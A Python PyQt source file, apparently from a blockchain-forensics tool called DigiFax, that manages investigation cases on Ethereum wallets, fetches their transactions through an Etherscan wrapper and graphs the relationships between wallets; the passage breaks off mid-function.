from python_scripts.DigiFax_EthScan_multiproc import DigiFax_EthScan\nfrom python_scripts.DigiFax_EthScan_multithread import DigiFax_EthScan\n\nimport multiprocessing\nimport threading\n\nimport random # To randomly choose a node color\nfrom pyperclip import copy # For putting text into user's clipboard\nimport re # For Text Search filtering\nimport json # For opening / writing case files in .json format\n\n\nclass NewCaseWindow(QMainWindow):\n \"\"\"\n Class definition for window that allows users to input custom information for creating a new case\n \"\"\"\n def __init__(self, parent=None):\n super(NewCaseWindow, self).__init__(parent)\n # Keep a local copy of the parent object\n self.homeparent = parent\n\n # Load the Home Window UI design from file\n uic.loadUi(\"./UI/newcasewindow.ui\", self)\n self.setFixedSize(self.width(), self.height())\n self.editcasename.setFocus()\n\n # Connect buttons to on-click events\n self.createcasebtn.clicked.connect(self.createCase)\n\n def createCase(self):\n \"\"\"\n Function to call HomeWindow parent's setter function (setNewCaseInfo) to\n save user input for creating new case\n :return: None\n \"\"\"\n # Capture the input fields into a dictionary\n info = {\"casename\": self.editcasename.text(), \"casedescription\": self.editcasedescription.toPlainText(),\n \"walletaddresses\": [addr.lower() for addr in set(self.editwalletaddresses.toPlainText().split('\\n'))]}\n\n # Check if supplied wallet addresses are all valid\n for addr in info[\"walletaddresses\"]:\n if not self.homeparent.isValidWalletAddress(addr) and addr != \"\":\n self.homeparent.displayMessage(f\"[-] Unaccepted wallet address format:\\n{addr}\")\n return\n\n # Check if fields are empty (description and casename are not compulsory)\n if len(info[\"casename\"]) <= 0 or not info[\"casename\"].isalnum():\n self.homeparent.displayMessage(f\"[-] Please enter a valid case name\")\n return\n\n # Set the walletaddresses list\n info[\"walletaddresses\"] = list(set(info[\"walletaddresses\"]))\n\n # Save the data in the parent HomeWindow's context\n self.homeparent.setNewCaseInfo(info)\n self.hide()\n self.deleteLater()\n\n\nclass HomeWindow(QMainWindow):\n \"\"\"\n Class definition for the default home page on application startup\n \"\"\"\n def __init__(self, parent=None):\n super(HomeWindow, self).__init__(parent)\n # Load the Home Window UI design from file\n uic.loadUi(\"./UI/home.ui\", self)\n self.setFixedSize(self.width(), self.height())\n\n # Declaration of Child Windows\n self.newcasewindow = None\n self.db = None\n self.nodeprofilewindow = None\n self.txnwindow = None\n\n # Variables used by child windows\n self.caseinfo = dict()\n # Decalre filename where any active case will be saved into\n self.casefile = str()\n\n # Connect buttons to on-click events\n self.newcasebtn.clicked.connect(self.openNewCaseWindow)\n self.opencasebtn.clicked.connect(self.openExistingCaseWindow)\n\n def setNewCaseInfo(self, info):\n \"\"\"\n Handler function for accepting data from NewCaseWindow child\n :param info: Dictionary containing user input for case name, description, and wallet addresses\n :return: None\n \"\"\"\n # Create New Case data structure based on template from constants.py\n self.caseinfo = TEMPLATE\n self.caseinfo[\"casename\"] = info[\"casename\"]\n self.caseinfo[\"casedescription\"] = info[\"casedescription\"]\n self.caseinfo[\"walletaddresses\"] = info[\"walletaddresses\"]\n self.caseinfo[\"filename\"] = info[\"casename\"] + CASE_FILE_EXT\n self.casefile = self.caseinfo[\"filename\"]\n\n # Open the dashboard\n self.openDashboard()\n\n def openNewCaseWindow(self):\n \"\"\"\n Function to spawn/display a child window for inputting new case information\n :return: None\n \"\"\"\n # Instantiate new case window and show it immediateley if does not exists\n self.newcasewindow = NewCaseWindow(self)\n self.newcasewindow.show()\n\n def openExistingCaseWindow(self):\n \"\"\"\n Function to open a file dialogue window to select a existing case file\n :return: None\n \"\"\"\n options = QFileDialog.Options()\n options |= QFileDialog.DontUseNativeDialog\n fileName, _ = QFileDialog.getOpenFileName(self, \"Open a Existing Case File (.json)\", \"\",\n \"JSON Files (*.json);;All Files (*)\", options=options)\n if fileName:\n # Try to load the file contents into 'self.caseinfo'\n print(f\"[*] Opening file: {fileName}\")\n with open(fileName, 'r') as f:\n data = json.load(f)\n # If keys do not match, reject the opening of the given file\n if data.keys() != TEMPLATE.keys():\n self.displayMessage(\"[-] Unrecognized case file: Inconsistent data keys\")\n return\n elif len(data[\"casename\"]) <= 0:\n self.displayMessage(\"[-] Unrecognized case file: No case name in given file\")\n return\n\n # If all goes well, use the read data as the case data in 'self.caseinfo' and open the dashboard\n self.caseinfo = data\n self.casefile = data[\"filename\"]\n self.openDashboard()\n\n def openDashboard(self):\n \"\"\"\n Function to create dashboard instance and show it\n :return: None\n \"\"\"\n # Display the dashboard and hide current window (Home window)\n self.db = Dashboard(self)\n self.db.show()\n\n def openNodeProfileWindow(self, focusnode):\n \"\"\"\n Function to spawn/display a child window for inputting new case information\n :return: None\n \"\"\"\n # Instantiate woi profile window and show it immediateley\n self.nodeprofilewindow = NodeProfileWindow(focusnode, self)\n self.nodeprofilewindow.show()\n\n def signalProfileUpdated(self):\n \"\"\"\n Function to bind a specified alias to a node (WOI) address in the caseinfo[\"aliases\"] dictionary\n :return: None\n \"\"\"\n self.db.populateWoiList()\n self.db.populateGraph()\n\n def openTransactionWindow(self, data):\n \"\"\"\n Function for displaying given transactions\n :param data: dataset received from Dashboard containing specific transactions\n :return: None\n \"\"\"\n self.txnwindow = TransactionWindow(data)\n self.txnwindow.show()\n\n def isValidWalletAddress(self, addr):\n \"\"\"\n Function that checks if a given string is a valid wallet address\n :param addr: String representation of a wallet address\n :return: True if valid wallet address, else False\n \"\"\"\n if len(addr) == 42:\n if addr[0] == '0' and addr[1] == 'x' and addr[2:].isalnum():\n return True\n return False\n\n def saveFile(self, wois, wrs):\n \"\"\"\n Function to save current work progress into file path specified at 'self.casefile'\n :param wois: latest List of wallets of interests\n :param wrs: latest Dictionary of all relationships\n :return: None\n \"\"\"\n # Update wallet addresses, relationships inside 'self.caseinfo'\n self.caseinfo[\"walletaddresses\"] = wois\n self.caseinfo[\"walletrelationships\"] = wrs\n\n print(f\"[*] Saving to {self.casefile}\")\n # Directly save into 'self.casefile'\n with open(self.casefile, 'w') as f:\n json.dump(self.caseinfo, f)\n\n def saveFileAs(self, wois, wrs):\n \"\"\"\n Function to save current work progress in a file path chosen by user from file dialog\n :param wois: latest List of wallets of interests\n :param wrs: latest Dictionary of all relationships\n :return: None\n \"\"\"\n # Open file dialog for user to choose path to file for saving\n options = QFileDialog.Options()\n options |= QFileDialog.DontUseNativeDialog\n fileName, _ = QFileDialog.getSaveFileName(self, \"Save Case File\", \"\",\n \"JSON Files (*.json)\", options=options)\n\n if fileName:\n # Update 'self.casefile' to new filename\n self.casefile = fileName + CASE_FILE_EXT\n # Update the data structure's filename entry\n self.caseinfo[\"filename\"] = fileName + CASE_FILE_EXT\n\n # Save the file\n self.saveFile(wois, wrs)\n print(f\"[*] Completed saving to {self.casefile}\")\n\n def displayMessage(self, message):\n \"\"\"\n Function to display message box with arbitrary error message\n :param msg: String representation of desired error message to display to user\n :return: None\n \"\"\"\n msg = QMessageBox()\n msg.setText(message)\n msg.exec_()\n\n\nclass Dashboard(QMainWindow):\n \"\"\"\n Class definition for the main Digifax dashboard\n \"\"\"\n def __init__(self, parent=None):\n super(Dashboard, self).__init__(parent)\n self.loaded = 0\n # Keep a local copy of the parent object\n self.homeparent = parent\n # Load the Home Window UI design from file\n uic.loadUi(\"./UI/dashboard.ui\", self)\n\n # Etherscan object\n self.ethscan = DigiFax_EthScan()\n\n # Get all wallet addresses from the case\n # [WOI_1, WOI_2, WOI_3, ...]\n self.wallets_of_interest = list(set(self.homeparent.caseinfo[\"walletaddresses\"]))\n\n # Get all relationships\n # {wallet: [[relative1, weight],[relative2, weight]], ...}\n self.wallet_relationships = self.homeparent.caseinfo[\"walletrelationships\"]\n\n # Declare dataset that will be used to hold filtered transactions in Transaction List\n self.dataset = list()\n self.transactions_by_address = dict()\n self.sorted_addresses = list()\n\n # Call function to tune dimensions and window properties of dashboard\n self.resolution = QDesktopWidget().screenGeometry()\n self.config_dashboard()\n\n # Initialize the webpage view (panel) on the dashboard\n self.initWebView()\n\n # Call function to retrieve wallet addresses transactions(assuming new case)\n\n # Call function to plot the PyVis graph\n self.graph = None\n self.populateGraph()\n # self.graph.show_buttons(filter_=True)\n\n # Initialize default values for dashboard\n self.initDashboardDefaultValues()\n\n # Call function to populate node (WOI) list view\n self.selectedWOI = None\n self.populateWoiList()\n\n # Call function to populate node (Transactions) list view\n # self.populateTransactionList()\n\n # Setup events\n self.setupEvents()\n\n # Set page to loaded once all setup / config is done\n self.loaded = 1\n\n def config_dashboard(self):\n \"\"\"\n Function to setup all dashboard window and widget properties\n :return: None\n \"\"\"\n # Set window size\n self.setFixedSize(int(self.resolution.width() * SCREEN_WIDTH), int(self.resolution.height() * SCREEN_HEIGHT))\n\n # Center the screen\n self.move(int(self.resolution.width() / 2) - int(self.frameSize().width() / 2),\n int(self.resolution.height() / 2) - int(self.frameSize().height() / 2))\n\n # Set QWidget (webwidget) position and size\n self.webwidget.setGeometry(0,\n 0,\n int(self.resolution.width() * WEBPANEL_WIDTH),\n int(self.resolution.height() * SCREEN_HEIGHT))\n\n # Set QLabel (filterLabel) position and size\n self.filterLabel.setGeometry(int(self.resolution.width() * SCREEN_WIDTH * (WEBPANEL_WIDTH + 0.035)),\n int(self.resolution.height() * SCREEN_HEIGHT * FLABEL_Y_OFFSET),\n int(self.resolution.width() * SCREEN_WIDTH * FLABEL_WIDTH),\n int(self.resolution.height() * SCREEN_HEIGHT * FLABEL_HEIGHT))\n\n # Set QLineEdit (walletLineEdit) position and size\n self.walletLineEdit.setGeometry(int(self.resolution.width() * SCREEN_WIDTH * (WEBPANEL_WIDTH + 0.018 + FLABEL_WIDTH)),\n int(self.resolution.height() * SCREEN_HEIGHT * FEDIT_Y_OFFSET),\n int(self.resolution.width() * SCREEN_WIDTH * FEDIT_WIDTH),\n int(self.resolution.height() * SCREEN_HEIGHT * FEDIT_HEIGHT))\n\n # Set QPushButton (addNodeBtn) position and size\n self.addNodeBtn.setGeometry(int(self.resolution.width() * SCREEN_WIDTH * (1 - 0.072)),\n int(self.resolution.height() * SCREEN_HEIGHT * ANBTN_Y_OFFSET),\n int(self.resolution.width() * SCREEN_WIDTH * ANBTN_WIDTH),\n int(self.resolution.height() * SCREEN_HEIGHT * ANBTN_HEIGHT))\n\n # Set QListWidget (listWidget) position and size\n self.nodeListWidget.setGeometry(int(self.resolution.width() * WEBPANEL_WIDTH),\n int(self.resolution.height() * (FLABEL_HEIGHT+0.01)),\n int(self.resolution.width() * SIDEPANEL_WIDTH),\n int(self.resolution.height() * SCREEN_HEIGHT * NLIST_HEIGHT))\n\n # Set QLabel (displayOrderLabel) position and size\n self.displayOrderLabel.setGeometry(int(self.resolution.width() * SCREEN_WIDTH * (WEBPANEL_WIDTH + 0.035)),\n int(self.resolution.height() * SCREEN_HEIGHT * DOLABEL_Y_OFFSET),\n int(self.resolution.width() * SCREEN_WIDTH * DOLABEL_WIDTH),\n int(self.resolution.height() * SCREEN_HEIGHT * DOLABEL_HEIGHT))\n\n # Set QComboBox (displayOrderPicker) position and size\n self.displayOrderPicker.setGeometry(int(self.resolution.width() * SCREEN_WIDTH * (WEBPANEL_WIDTH + 0.035 + DOLABEL_WIDTH)),\n int(self.resolution.height() * SCREEN_HEIGHT * DOPICKER_Y_OFFSET),\n int(self.resolution.width() * SCREEN_WIDTH * DOPICKER_WIDTH),\n int(self.resolution.height() * SCREEN_HEIGHT * DOPICKER_HEIGHT))\n # Add Display Order options into \"displayOrderPicker\"\n self.displayOrderPicker.addItems([\"Descending\", \"Ascending\"])\n\n # Set QLabel (transactionTypeLabel) position and size\n self.transactionTypeLabel.setGeometry(int(self.resolution.width() * SCREEN_WIDTH * (WEBPANEL_WIDTH + 0.055 + DOLABEL_WIDTH + DOPICKER_WIDTH)),\n int(self.resolution.height() * SCREEN_HEIGHT * TTLABEL_Y_OFFSET),\n int(self.resolution.width() * SCREEN_WIDTH * TTLABEL_WIDTH),\n int(self.resolution.height() * SCREEN_HEIGHT * TTLABEL_HEIGHT))\n\n # Set QComboBox (transactionTypePicker) position and size\n self.transactionTypePicker.setGeometry(int(self.resolution.width() * SCREEN_WIDTH * (WEBPANEL_WIDTH + 0.053 + DOLABEL_WIDTH + DOPICKER_WIDTH + TTLABEL_WIDTH)),\n int(self.resolution.height() * SCREEN_HEIGHT * TTPICKER_Y_OFFSET),\n int(self.resolution.width() * SCREEN_WIDTH * TTPICKER_WIDTH),\n int(self.resolution.height() * SCREEN_HEIGHT * TTPICKER_HEIGHT))\n\n # Add Transaction Type options into \"transactionTypePicker\"\n self.transactionTypePicker.addItems([\"Outgoing\", \"Incoming\", \"All\"])\n\n # Set QLabel (timeStartLabel) position and size\n self.timeStartLabel.setGeometry(int(self.resolution.width() * SCREEN_WIDTH * (WEBPANEL_WIDTH + 0.035)),\n int(self.resolution.height() * SCREEN_HEIGHT * TSLABEL_Y_OFFSET),\n int(self.resolution.width() * SCREEN_WIDTH * TSLABEL_WIDTH),\n int(self.resolution.height() * SCREEN_HEIGHT * TSLABEL_HEIGHT))\n\n # Set QDateEdit(timeStartPicker) position and size\n self.timeStartPicker.setGeometry(int(self.resolution.width() * SCREEN_WIDTH * (WEBPANEL_WIDTH + 0.035 + DOLABEL_WIDTH)),\n int(self.resolution.height() * SCREEN_HEIGHT * TSPICKER_Y_OFFSET),\n int(self.resolution.width() * SCREEN_WIDTH * TSPICKER_WIDTH),\n int(self.resolution.height() * SCREEN_HEIGHT * TSPICKER_HEIGHT))\n\n # Set QLabel (timeEndLabel) position and size\n self.timeEndLabel.setGeometry(int(self.resolution.width() * SCREEN_WIDTH * (WEBPANEL_WIDTH + DOLABEL_WIDTH + DOPICKER_WIDTH + 0.055)),\n int(self.resolution.height() * SCREEN_HEIGHT * TELABEL_Y_OFFSET),\n int(self.resolution.width() * SCREEN_WIDTH * TELABEL_WIDTH),\n int(self.resolution.height() * SCREEN_HEIGHT * TELABEL_HEIGHT))\n\n # Set QDateEdit(timeEndPicker) position and size\n self.timeEndPicker.setGeometry(\n int(self.resolution.width() * SCREEN_WIDTH * (WEBPANEL_WIDTH + DOLABEL_WIDTH + DOPICKER_WIDTH + TEPICKER_WIDTH + 0.0075)),\n int(self.resolution.height() * SCREEN_HEIGHT * TEPICKER_Y_OFFSET),\n int(self.resolution.width() * SCREEN_WIDTH * TEPICKER_WIDTH),\n int(self.resolution.height() * SCREEN_HEIGHT * TEPICKER_HEIGHT))\n # Enable calendar popup\n self.timeStartPicker.setCalendarPopup(True)\n self.timeEndPicker.setCalendarPopup(True)\n\n # Set default time range\n\n # Set QLabel (transactionsLabel) position and size\n self.transactionsLabel.setGeometry(int(self.resolution.width() * SCREEN_WIDTH * (WEBPANEL_WIDTH + 0.035)),\n int(self.resolution.height() * SCREEN_HEIGHT * TFLABEL_Y_OFFSET),\n int(self.resolution.width() * SCREEN_WIDTH * TFLABEL_WIDTH),\n int(self.resolution.height() * SCREEN_HEIGHT * TFLABEL_HEIGHT))\n\n # Set QLineEdit (transactionFilterEdit) position and size\n self.transactionFilterEdit.setGeometry(\n int(self.resolution.width() * SCREEN_WIDTH * (WEBPANEL_WIDTH + 0.037 + DOLABEL_WIDTH)),\n int(self.resolution.height() * SCREEN_HEIGHT * TFEDIT_Y_OFFSET),\n int(self.resolution.width() * SCREEN_WIDTH * TFEDIT_WIDTH),\n int(self.resolution.height() * SCREEN_HEIGHT * TFEDIT_HEIGHT))\n\n # Set QListWidget (transactionListWidget) position and size\n self.transactionListWidget.setGeometry(int(self.resolution.width() * WEBPANEL_WIDTH),\n int(self.resolution.height() * SCREEN_HEIGHT * (TFLABEL_Y_OFFSET + 0.035)),\n int(self.resolution.width() * SIDEPANEL_WIDTH),\n int(self.resolution.height() * SCREEN_HEIGHT * TLIST_HEIGHT))\n\n # Set QPushButton (dropRelationshipBtn) position and size 0.829 (1612px)\n self.dropRelationshipBtn.setGeometry(int(self.resolution.width() * SCREEN_WIDTH * (1 - 0.171)),\n int(self.resolution.height() * SCREEN_HEIGHT * RS_BTN_Y_OFFSET),\n int(self.resolution.width() * RS_BTN_WIDTH),\n int(self.resolution.height() * RS_BTN_HEIGHT))\n\n # Set QPushButton (addRelationshipBtn) position and size 0.913 (1776px)\n self.addRelationshipBtn.setGeometry(int(self.resolution.width() * SCREEN_WIDTH * (1 - 0.087)),\n int(self.resolution.height() * SCREEN_HEIGHT * RS_BTN_Y_OFFSET),\n int(self.resolution.width() * RS_BTN_WIDTH),\n int(self.resolution.height() * RS_BTN_HEIGHT))\n\n # Set QPushButton (dropNodeBtn) position and size\n self.dropNodeBtn.setGeometry(int(self.resolution.width() * SCREEN_WIDTH * (1 - 0.255)),\n int(self.resolution.height() * SCREEN_HEIGHT * RS_BTN_Y_OFFSET),\n int(self.resolution.width() * RS_BTN_WIDTH),\n int(self.resolution.height() * RS_BTN_HEIGHT))\n\n def initWebView(self):\n \"\"\"\n Function to initialize the QWebEngineView object and stick it to the \"webwidget\" QWidget\n :return: None\n \"\"\"\n vbox = QVBoxLayout(self.webwidget)\n self.wev = QWebEngineView()\n vbox.addWidget(self.wev)\n\n def createGraph(self):\n \"\"\"\n Function to initialize the PyVis Network graph with default parameters\n :return: None\n \"\"\"\n self.graph = Network(height=f'{self.resolution.height() * (SCREEN_HEIGHT - 0.035)}px',\n width=f'{self.resolution.width() * (WEBPANEL_WIDTH - 0.024)}px',\n bgcolor='#000000',\n font_color='#ffffff')\n\n def populateGraph(self):\n \"\"\"\n Function to update graph contents and save to a new .html file\n :return: None\n \"\"\"\n # Reset graph\n self.createGraph()\n\n # Add all given nodes to the graph\n for wallet in self.wallets_of_interest:\n # Set display label (for the node in the graph) using the alias if it exists\n if wallet in self.homeparent.caseinfo[\"aliases\"].keys():\n display_lbl = self.homeparent.caseinfo[\"aliases\"][wallet]\n else:\n display_lbl = wallet[:ADDR_DISPLAY_LIMIT]\n\n self.graph.add_node(wallet, display_lbl, color=DEFAULT_COLORS[random.randint(0,3)])\n\n # Add all relationships (if any)\n for focus, relatives in self.wallet_relationships.items():\n for relative in relatives:\n self.graph.add_edge(focus, relative[ADDR], value=relative[WEIGHT])\n\n # Save the graph into a file\n self.graph.save_graph(\"graph.html\")\n self.loadPage('graph.html')\n\n def addNode(self, woi):\n \"\"\"\n Function to add a specific address as a new node into the graph and backend structs\n :param woi: The wallet address that user wants to add to the graph as a node (MUST BE IN LOWERCASE!!!)\n :return: None\n \"\"\"\n if woi not in self.wallets_of_interest:\n # Append wallet to list of interested wallets\n self.wallets_of_interest.append(woi)\n\n def addNodeBtnHandler(self):\n \"\"\"\n Function to handle 'Add Node' button to add a new node and render the change on the graph\n :return: None\n \"\"\"\n woi = self.walletLineEdit.text().split(' ')[0].lower()\n # If input text is a valid wallet address and it does not already exist\n if self.homeparent.isValidWalletAddress(woi):\n if woi not in self.wallets_of_interest:\n self.addNode(woi)\n\n # Update the WOI Node List\n self.populateWoiList()\n\n # Reload the graph\n self.populateGraph()\n\n # Clear 'walletLineEdit' text\n self.walletLineEdit.clear()\n else:\n self.homeparent.displayMessage(\"[-] Unable to add node:\\nNode with this address already exists\")\n else:\n self.homeparent.displayMessage(\"[-] Unable to add node:\\nInvalid wallet address given\")\n\n def dropNode(self, woi):\n \"\"\"\n Function to drop a specific address node from the graph.\n Doing so will also automatically delete all relationships the node has (if any)\n :param woi: The wallet node that user wants to drop from the graph (MUST BE IN LOWERCASE!!!)\n :return: None\n \"\"\"\n # If woi in self.wallets_of_interest:\n if woi in self.wallets_of_interest:\n # Delete wallet from list of interested wallets\n self.wallets_of_interest.remove(woi)\n\n # Delete all relationships this wallet has been registered with\n try:\n del self.wallet_relationships[woi]\n except KeyError:\n pass\n\n # If wallet exists as a relationship under the registration of another wallet, Delete it\n to_remove = list()\n for focus, relatives in self.wallet_relationships.items():\n for relative in relatives:\n if woi == relative[ADDR]:\n to_remove.append({\"focus\": focus, \"relative\": relative})\n for removable in to_remove:\n self.wallet_relationships[removable[\"focus\"]].remove(removable[\"relative\"])\n\n def dropNodeBtnHandler(self):\n \"\"\"\n Function to handle 'Drop Node' button to drop a existing node and render the change on the graph\n :return: None\n \"\"\"\n try:\n woi = self.nodeListWidget.currentItem().text().split(' ')[0].lower()\n # If woi in self.wallets_of_interest:\n if woi in self.wallets_of_interest:\n self.dropNode(woi)\n\n # Update the WOI Node List\n self.populateWoiList()\n\n # Reload the graph\n self.populateGraph()\n except AttributeError as err:\n # Add notification to user telling them to select a WOI (node)\n if self.loaded:\n self.homeparent.displayMessage(\"[-] Unable to drop node:\\nNo node (WOI) was selected\")\n\n def getRSWeight(self, focus_node, txn_addr):\n \"\"\"\n Function to get a corresponding weight for the rs between WOI and address selected in the transaction list\n :return weight: An integer representation of the weight to draw for relationship of given woi & transaction\n \"\"\"\n total_txn_count = int()\n\n try:\n if txn_addr in self.homeparent.caseinfo['data'][STATS][focus_node][UNIQ_IN].keys():\n total_txn_count += self.homeparent.caseinfo['data'][STATS][focus_node][UNIQ_IN][txn_addr]\n if txn_addr in self.homeparent.caseinfo['data'][STATS][focus_node][UNIQ_OUT].keys():\n total_txn_count += self.homeparent.caseinfo['data'][STATS][focus_node][UNIQ_OUT][txn_addr]\n\n if total_txn_count < LOWER_BOUND:\n return LOW_WEIGHT\n elif total_txn_count <= MIDDLE_BOUND:\n return MEDIUM_WEIGHT\n else:\n return HIGH_WEIGHT\n except KeyError:\n pass\n\n def addRelationship(self):\n \"\"\"\n Function to update backend data structs\n :return: None\n \"\"\"\n try:\n focusedWallet = self.nodeListWidget.currentItem().text().split(' ')[0].lower() # selected node\n woi = self.transactionListWidget.currentItem().text().split(\"] \")[1].lower() # selected transaction\n\n # Add node to wallet_of_interest if necessary (node doesn't exist yet)\n self.addNode(woi)\n\n # Update WOI relationships\n if focusedWallet not in self.wallet_relationships.keys():\n self.wallet_relationships[focusedWallet] = list()\n\n # If relationship does not already exist, add it\n if woi != focusedWallet:\n # Get weight of relationship between focusedWallet and woi\n weight = self.getRSWeight(focusedWallet, woi)\n\n if [woi, weight] not in self.wallet_relationships[focusedWallet]:\n self.wallet_relationships[focusedWallet].append([woi, weight])\n\n # Update the WOI Node List\n self.populateWoiList()\n\n # Reload the graph\n self.populateGraph()\n\n except AttributeError as err:\n # Add notification to user telling them to select a WOI (node)\n if self.loaded:\n self.homeparent.displayMessage(\"[-] Unable to add relationship:\\nPlease select (1) a node and (2) a transaction address\")\n\n def dropRelationship(self):\n \"\"\"\n Function to update (1) backend data structs and (2) graph WRT to removing a WOI\n :return: None\n \"\"\"\n try:\n focusedWallet = self.nodeListWidget.currentItem().text().split(' ')[0].lower() # selected node\n woi = self.transactionListWidget.currentItem().text().split(\"] \")[1].lower() # selected transaction\n # Exit function if key of focusedWallet (selected node in Node List) does not exist\n if focusedWallet not in self.wallet_relationships.keys():\n return\n\n # Remove WOI relationship\n if woi != focusedWallet:\n # Get weight of relationship between focusedWallet and woi\n weight = self.getRSWeight(focusedWallet, woi)\n if [woi, weight] in self.wallet_relationships[focusedWallet]:\n del self.wallet_relationships[focusedWallet][self.wallet_relationships[focusedWallet].index([woi, weight])]\n try:\n # Delete node if no more edges exists for it\n if woi not in self.wallet_relationships.keys() and woi in self.wallets_of_interest:\n self.dropNode(woi)\n except IndexError as err:\n if self.loaded:\n self.homeparent.displayMessage(\n f\"[-] Unable to delete relationship between:\\n'{focusedWallet}'\\nto\\n'{woi}'\\n\\nReason: {err}\")\n\n # Update the WOI Node List\n self.populateWoiList()\n\n # Reload the graph\n self.populateGraph()\n except AttributeError as err:\n # Add notification to user telling them to select a WOI (node)\n if self.loaded:\n self.homeparent.displayMessage(\n \"[-] Unable to drop relationship:\\nPlease select (1) a node and (2) a transaction address\")\n\n def populateWoiList(self):\n \"\"\"\n Function to populate WOI (nodes) list\n :return: None\n \"\"\"\n try:\n # Get the currently selected item\n previous = self.nodeListWidget.currentItem()\n if previous is not None:\n previous = previous.text().split(' ')[0].lower()\n\n # Reset the WOI list\n self.nodeListWidget.clear()\n\n # Add all WOI into the list\n for wallet in self.wallets_of_interest:\n temp = QListWidgetItem()\n # Set Alias at end of WOI address if it exists\n if wallet in self.homeparent.caseinfo[\"aliases\"].keys():\n temp.setText(wallet + f\" [{self.homeparent.caseinfo['aliases'][wallet]}]\")\n else:\n temp.setText(wallet)\n # Set tooltip (hover) over each WOI entry as the total transactions it has (incoming+outgoing)\n if STATS in self.homeparent.caseinfo[\"data\"].keys():\n if wallet in self.homeparent.caseinfo[\"data\"][STATS].keys():\n temp.setToolTip(f\"Total Transactions: {self.homeparent.caseinfo['data'][STATS][wallet][TOTAL_TXNS]}\")\n else:\n temp.setToolTip(f\"Total Transactions: [NO DATA]\")\n else:\n print(\"[-] No STATS\")\n self.nodeListWidget.addItem(temp)\n\n # Set previous item as selected if it still exists\n prev_item = self.nodeListWidget.findItems(previous, Qt.MatchContains)\n if previous is not None and len(prev_item) > 0:\n self.nodeListWidget.setCurrentItem(prev_item[0])\n except RuntimeError:\n pass\n\n\n def populateTransactionList_helperfunc(self, focus_node):\n \"\"\"\n Helper function to populateTransactionList(), helper function's main purpose is multithreading.\n \"\"\"\n txns = self.ethscan.get_ext_txns([focus_node])\n self.ethscan.split_txns_based_on_direction(txns)\n self.ethscan.update_statistics()\n self.homeparent.caseinfo[\"data\"][SANITIZED_DATA][focus_node] = self.ethscan.ADDR_TXNS_SUMMARISED[focus_node]\n self.homeparent.caseinfo[\"data\"][STATS][focus_node] = self.ethscan.ADDR_TXNS_STATS[focus_node]\n\n # If the focus node is still selected\n # if self.nodeListWidget.currentItem().text().split(' ')[0].lower() == focus_node:\n # Refresh the Transaction List view with newly filtered and sorted data\n print(f\"Address: {focus_node} completed complilating.\")\n\n def populateTransactionList(self):\n \"\"\"\n Function to populate self.dataset based on currently selected filters (INCOMING/OUTGOING/ALL) and calls\n self.refreshView() to display the items accordingly\n :return: None\n \"\"\"\n self.refreshView()\n\n # Get the data into local structure\n try:\n # Get the selected WOI (only one should be selected at any one time)\n focus_node = self.nodeListWidget.currentItem().text().split(' ')[0].lower()\n\n # Check if transaction data exists for current (focus) node, if no query API for it first\n if SANITIZED_DATA in self.homeparent.caseinfo[\"data\"].keys():\n if focus_node not in self.homeparent.caseinfo[\"data\"][SANITIZED_DATA].keys():\n # Blocking displayMessage.\n self.homeparent.displayMessage(f\"Retrieving txns for address {focus_node.lower()}\")\n\n self.homeparent.caseinfo[\"data\"][SANITIZED_DATA][focus_node] = {}\n\n threading.Thread(target=self.populateTransactionList_helperfunc, args=([focus_node])).start()\n\n return\n else:\n # Retrieve the following filters / choices\n # 1) Transaction Type (Outgoing/Incoming/All)\n # 2) Time Range (Start/End datetime, inclusive)\n trans_type = self.transactionTypePicker.currentText().lower()\n start_datetime = int(self.timeStartPicker.dateTime().toSecsSinceEpoch())\n end_datetime = int(self.timeEndPicker.dateTime().toSecsSinceEpoch())\n\n # Set flag for filter the dataset if there exists user input in the transaction search filter\n search_str = self.transactionFilterEdit.text().lower()\n\n # Get focused dataset based on the specified transaction type and time range\n if trans_type == ALL:\n self.dataset = [x for x in self.homeparent.caseinfo[\"data\"][SANITIZED_DATA][focus_node][INBOUND]\n if start_datetime <= int(x[TIMESTAMP]) <= end_datetime and search_str in x[FROM]] + \\\n [x for x in self.homeparent.caseinfo[\"data\"][SANITIZED_DATA][focus_node][OUTBOUND]\n if start_datetime <= int(x[TIMESTAMP]) <= end_datetime and search_str in x[TO]]\n else:\n target = FROM if trans_type == INBOUND else TO\n self.dataset = [x for x in self.homeparent.caseinfo[\"data\"][SANITIZED_DATA][focus_node][trans_type]\n if start_datetime <= int(x[TIMESTAMP]) <= end_datetime and search_str in x[target]]\n\n # Count # of transactions (that has been time range filtered) by transaction address\n self.group_transactions()\n\n # Refresh the Transaction List view with newly filtered and sorted data\n self.refreshView()\n else:\n # No SANITIZED field in dictionary, just return since no data at all\n return\n\n except AttributeError:\n # Add notification to user telling them to select a WOI (node)\n if self.loaded:\n self.homeparent.displayMessage(\"[-] No node (WOI) selected!\")\n except RuntimeError:\n pass\n except TypeError:\n pass\n except KeyError:\n pass\n\n def refreshView(self):\n \"\"\"\n Function to populate Transaction list view based on currently specified sorting choice\n :return: None\n \"\"\"\n # Claer transaction list\n self.transactionListWidget.clear()\n\n # Get display order\n display_order = self.displayOrderPicker.currentText()\n reverse_flag = True if display_order == \"Descending\" else False\n\n # Sort the transactions by count\n self.sorted_addresses = sorted(self.transactions_by_address.items(),\n key=lambda item: item[1], reverse=reverse_flag)\n\n # Add the transactions into the Transaction list view in specified display order\n for [addr,count] in self.sorted_addresses:\n temp = QListWidgetItem()\n temp.setText(f\"[{count}] {addr}\")\n self.transactionListWidget.addItem(temp)\n\n def group_transactions(self):\n \"\"\"\n Function to group transaction count by address into a dictionary, based on data in \"self.dataset\"\n :return: None\n \"\"\"\n # Reset Transaction by address dictionary\n self.transactions_by_address = dict()\n\n # Loop through all transactions\n for x in self.dataset:\n # Get the direction for this transaction (is it a incoming/outgoing transaction)\n direction = FROM if x[\"direction\"] == IN else TO\n # Init / add a counter for the specific address in the dictionary accordingly\n if x[f\"{direction}\"] not in self.transactions_by_address:\n self.transactions_by_address[x[f\"{direction}\"]] = 1\n else:\n self.transactions_by_address[x[f\"{direction}\"]] += 1\n\n def searchWOIAddresses(self):\n \"\"\"\n Function to filter displayed WOIs by comparing user search string input\n with each WOI address in the Node List view (widget)\n :return: None\n \"\"\"\n # Get current text in the \"walletLineEdit\" widget\n search_str = self.walletLineEdit.text()\n\n # Reset the list widget\n self.nodeListWidget.clear()\n\n # Add all WOI into the list\n for wallet in self.wallets_of_interest:\n if re.search(search_str, wallet):\n temp = QListWidgetItem()\n # Set Alias at end of WOI address if it exists\n if wallet in self.homeparent.caseinfo[\"aliases\"].keys():\n temp.setText(wallet + f\" [{self.homeparent.caseinfo['aliases'][wallet]}]\")\n else:\n temp.setText(wallet)\n # Set tooltip (hover) 